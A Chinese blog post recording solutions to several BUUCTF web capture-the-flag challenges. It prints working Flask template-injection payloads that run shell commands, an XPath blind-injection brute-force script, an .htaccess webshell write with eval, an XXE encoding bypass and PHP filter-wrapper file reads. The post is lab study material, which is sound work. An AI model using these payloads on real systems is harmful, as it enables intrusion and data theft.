BUUCTF(11.14-11.22)

记:上周抽空刷的BUU题目,记录一下解题过程的同时与大家分享交流

[Zer0pts2020]Can you guess it?

一个查询页面,提交东西提示wrong

有个源码链接,我们点开看一下




  
    
    Can you guess it?
  
  
    

Can you guess it?

If your guess is correct, I'll give you the flag.

Source


看提示说是flag在config.php里,现在就是要考虑如何访问
我试了试直接访问

http://411cb6a3-6152-413f-b8cd-f20124132402.node4.buuoj.cn:81/index.php/config.php
//I don't know what you are thinking, but I won't let you read it :)

我们看下代码
发现有个没见过的basename()函数

basename() 函数返回路径中的文件名部分。

括号里面的$_SERVER[‘PHP_SELF’]的作用是,获取当前页面地址,是当前 php 文件相对于网站根目录的位置地址

比如 p a t h 是 / v a r / w w w / h t m l / i n d e x . p h p , 那 么 ‘ b a s e n a m e ( path是/var/www/html/index.php,那么`basename( path/var/www/html/index.phpbasename(path);` 就是index.php

我们要想访问config,但是config.php被正则过滤了

本题目利用的是basename()漏洞

用不可显字符绕过正则(后面加 %80 – %ff 的任意字符)

构造

/index.php/config.php/%ff?source

因为index.php?source读取源码的,所以我们构造上面的链接。
即可出来flag

知识点:

php5.3:basename()函数漏洞
$_SERVER[‘PHP_SELF’]全局变量

[CSCCTF 2019 Qual]FlaskLight

一眼模板注入,F12看到变量名search,和GET

于是测试

?search={{7*7}}

执行了
于是我们

a. 获取变量[]所属的类名 {{[].class}}

    页面回显 

    b. 获取list所继承的基类名 {{[].__class__.__base__}}

    页面回显 

    c. 获取所有继承自object的类 {{[].__class__.__base__.__subclasses__()}}

经过查询后,可以借助的类,没有内置os模块在第59位。 内含os模块 在第71位,可以借助这些类来执行命令

71位的payload

看目录

  {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}

bin boot dev etc flasklight home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
看看flasklight

{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()}}

app.py coomme_geeeett_youur_flek
肯定是长的那个,我们直接读取一下

{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat coomme_geeeett_youur_flek').read()}}

但我试了没有成功不知道为啥
我们再看没含os的

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
    PS:由于使用['__globals__']会造成500的服务器错误信息,并且当我直接输入search=globals时页面也会500,觉得这里应该是被过滤了,所以这里采用了字符串拼接的形式['__glo'+'bals__']
    b. 读取目录flasklight
          {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls  /flasklight').read()")}}
cat
          {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat  /flasklight/coomme_geeeett_youur_flek ').read()")}}

贴一个博客,感觉可以看出上面os模块的为啥不行

https://www.cnblogs.com/Article-kelp/p/14797393.html

[watevrCTF-2019]Cookie Store

进去是个购买页面,显示我们钱50,是不够买flag的,抓包买一个1块钱的东西看一下

回显

eyJtb25leSI6IDQ4LCAiaGlzdG9yeSI6IFsiWXVtbXkgY2hvY29sYXRlIGNoaXAgY29va2llIiwgIll1bW15IGNob2NvbGF0ZSBjaGlwIGNvb2tpZSJdfQ==

base64解码一下

{"money": 48, "history": ["Yummy chocolate chip cookie", "Yummy chocolate chip cookie"]}

可以联想到是一个很简单的cookie伪造,我们解码后改一下需要的钱将id按顺序改成2
发包解码出现flag

[RootersCTF2019]I_❤️_Flask

开局模板注入

由于不知道传参的变量名,所以利用了工具arjun来爆破url参数

爆破出来参数name

接下来就是

http://58551dce-c669-4230-8a03-dfba594caf8e.node4.buuoj.cn:81/?name={{7*7}}

回显49,说明可行

/?name={{().__class__.__bases__[0].__subclasses__()}}

进一步

name={{().__class__.__bases__[0].__subclasses__()[182].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}

发现flag.txt
直接cat

?name={{().__class__.__bases__[0].__subclasses__()[182].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat flag.txt').read()")}}

BJDCTF2020]EzPHP

啥都没有看源码

 GFXEIM3YFZYGQ4A= 
base32解码
1nD3x.php

于是我们看下

This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
"; if($_SERVER) { if ( preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']) ) die('You seem to want to do something bad?'); } if (!preg_match('/http|https/i', $_GET['file'])) { if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!
"; } } else die('fxck you! What do you want to do ?!'); if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); } } if (file_get_contents($file) !== 'debu_debu_aqua') die("Aqua is the cutest five-year-old child in the world! Isn't it ?
"); if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){ extract($_GET["flag"]); echo "Very good! you know my password. But what is flag?
"; } else{ die("fxck you! you don't know my password! And you don't know sha1! why you come here!"); } if(preg_match('/^[a-z0-9]*$/isD', $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("
Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); } else { include "flag.php"; $code('', $arg); } ?> This is a very simple challenge and if you solve it I will give you a flag. Good Luck! fxck you! I hate English!

代码审计,可以看到过滤了好多东西
首先

f($_SERVER)

之前有过类似的题,可以通过url编码绕过

(preg_match(’/^aqua_is_cute$/’, $_GET[‘debu’]) && $_GET[‘debu’] !== ‘aqua_is_cute’)

限定了开头,我们可以换行符绕过

?debu=auqa_is_cute%0a

if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); } }
这里变量覆盖漏洞,之前也做过类似的

同时GET和POST同一个参数就可以绕过

file_get_contents($file) !== 'debu_debu_aqua'

我们可以data协议绕过

sha1($shana) === sha1($passwd) && $shana != $passwd

数组绕过

看到这属实麻了,太多东西了不知道如何构造,看完payload后更乱了

[HarekazeCTF2019]encode_and_encode

源码

not found

\n"; } } else { $content = '

invalid request

'; } // no data exfiltration!!! $content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content); echo json_encode(['content' => $content]);

body获取post数据, 对body变量进行json解码判断body变量是否有效,json数据要有page
从page中读出文件名,并读取文件,检查content是否有效,即不能明文传输flag文件,利用php伪协议绕过如果查到content里有相关的ctf字样,则用censored替代,最后输出

我们利用josn转义绕过,

{ "page" : "\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}

直接伪协议读取

[SUCTF 2018]GetShell

考察无字符的一句话木马

有个文件上传点和一串代码

if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
    $data=substr($contents,5);
    foreach ($black_char as $b) {
        if (stripos($data, $b) !== false){
            die("illegal char");
        }
    }     
} 

直接上传一句话,发现可以上传,但是检测非法字符
尝试很多次之后感觉把什么都给过滤了,考虑到是无字符过滤,之前看过一个博客讲的很详细

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

echo ~茉[$____];//s
echo ~内[$____];//y
echo ~茉[$____];//s
echo ~苏[$____];//t
echo ~的[$____];//e
echo ~咩[$____];//m
echo ~课[$____];//P
echo ~尬[$____];//O
echo ~笔[$____];//S
echo ~端[$____];//T
echo ~瞎[$____];//a

于是我们可以编图片马

访问上传地点直接post
a=env出flag

[CSAWQual 2019]Web_Unagi

该 XML 文件并未包含任何关联的样式信息。文档树显示如下。 


alice
passwd1
Alice
[email protected]
CSAW2019


bob
passwd2
 Bob
[email protected]
CSAW2019


写个XML文件


]>

    
        bob
        passwd2
         Bob
        [email protected]  
        CSAW2019
        &xxe;
    

转换成utf-16编码绕过

 iconv -f utf8 -t utf-16 2.xml>1.xml

上传1.xml即可

[NPUCTF2020]ezlogin

考察一个没见过的知识点xpath注入

一个登陆界面,奇怪的一点是一定时间内就让刷新页面登陆超时,推测登录的时候一个session只能存在一定的时间

我们抓包试一试

发现了比较奇怪的一段

adminadmin40021de56c0a2bc8386111891TYzNjg2

这里参考博客https://www.cnblogs.com/backlion/p/8554749.html

推测是xpath类型的注入

xpath注入主要有两种,一种是普通的注入,另外一种是布尔注入。普通注入对应union注入,使用|来完成和union类似的功能,布尔注入则是布尔盲注

找到了网上有爆破脚本

import requests
import string
import time
import re
session = requests.session()
base_url = 'you_address'
success = '??'
payload = "' or substring({target},{index},1)='{char}' or '"

chars = string.ascii_letters+string.digits



def get_csrf():
    res = session.get(base_url, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36',
                                         'Cookie': 'PHPSESSID=8ad6c1a25ba4ac37acaf92d08f6dc993'}).text
    return re.findall('', res)[0]



target = 'string(/*[1]/*[1]/*[2]/*[3])'
# username adm1n
# password cf7414b5bdb2e65ee43083f4ddbc4d9f
data = '{username}1{token}'

result = 'cf7414b5bdb2e65ee43'
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36',
           'Content-Type': 'application/xml',
           'Cookie': 'PHPSESSID=8ad6c1a25ba4ac37acaf92d08f6dc993'}
for i in range(20, 35):
    for j in chars:
        time.sleep(0.2)
        temp_payload = payload.format(target=target, index=str(i), char=j)

        token = get_csrf()

        temp_data = data.format(username=temp_payload, token=token)
        res = session.post(url=base_url+'login.php',
                           data=temp_data, headers=headers)
        # print(temp_data)
        # print(res.text)
        # print(len(res.text))
        if len(res.text) == 5:
            result += j
            break
    print(result)

上面这个不太好用

import requests
import re
s = requests.session()
url ='http://47e7790f-8a53-4efa-988b-7a350ebb91d5.node3.buuoj.cn//login.php'

head ={
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
    "Content-Type": "application/xml"
}
find =re.compile('')
strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'

flag =''
for i in range(1,100):
    for j in strs:
        r = s.post(url=url)
        token = find.findall(r.text)
        #猜测根节点名称
        payload_1 = "'or substring(name(/*[1]), {}, 1)='{}'  or ''='3123{}".format(i,j,token[0])
        #猜测子节点名称
        payload_2 = "'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='3123{}".format(i,j,token[0])
        #猜测accounts的节点
        payload_3 ="'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='3123{}".format(i,j,token[0])
        #猜测user节点
        payload_4 ="'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}'  or ''='3123{}".format(i,j,token[0])
        #跑用户名和密码
        payload_username ="'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}'  or ''='3123{}".format(i,j,token[0])
        payload_password ="'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}'  or ''='3123{}".format(i,j,token[0])

        print(payload_password)
        r = s.post(url=url,headers=head,data=payload_username)
        print(r.text)

        if "非法操作" in r.text:
            flag+=j
            print(flag)
            break
    if "用户名或密码错误!" in r.text:
        break
print(flag)

注意:爆破的时候要注释其他的payload
跑出来


      
            
                  
                  gtfly123
                  e10adc3949ba59abbe56e057f20f883e
            
            
                  
                  adm1n
                  cf7414b5bdb2e65ee43083f4ddbc4d9f
            
      

密码MD5解密后就是gtfly123
进去看源码

ZmxhZyBpcyBpbiAvZmxhZwo=

BASE64解码

flag is in /flag

因为url里有file=,据此我们推测是否能有伪协议

?file=pHp://filter/convert.bASe64-encode/resource=/flag

测试大小写可以绕过
ZmxhZ3thYTA1MmYwMC1jYTg5LTRjYmYtOTExYS1jNmIyOTA4MjM5Yzh9Cg==

解码

flag{aa052f00-ca89-4cbf-911a-c6b2908239c8}

[羊城杯2020]easyphp


看完源码,发现只有index.php能够被解析执行
根据这个条件,我们利用.htaccess文件特性,不过这次是通过设置php_value来设置preg_macth正则回溯次数;先写入.htaccess,再直接通过php://filter伪协议写入一句话

写入shell参考

https://blog.csdn.net/LYJ20010728/article/details/116538926

先写入.htaccess

?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\\&f ilename=.htaccess

再直接通过php://filter伪协议写入一句话

?filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcG hwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fYXBwZW5kX2ZpbGUgLmh0YWNjZXNzCiM8P3 BocCBldmFsKCRfR0VUWzFdKTs/Plw&1=phpinfo();

但上面方法我没有成功

方法二#

可以通过对过滤的关键字中间添加换行\n来绕过stristr函数的检测,不过仍然需要注意添加\来转义掉换行,这样才不会出现语法错误,如此一来就不需要再绕过preg_match函数,即可直接写入.htaccess来getshell

?content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23\&filename=.htaccess

flag{2cbbcf14-ca35-4676-a652-fe99370be983}

你可能感兴趣的:(笔记,新人,php,安全,网络安全,web,web安全)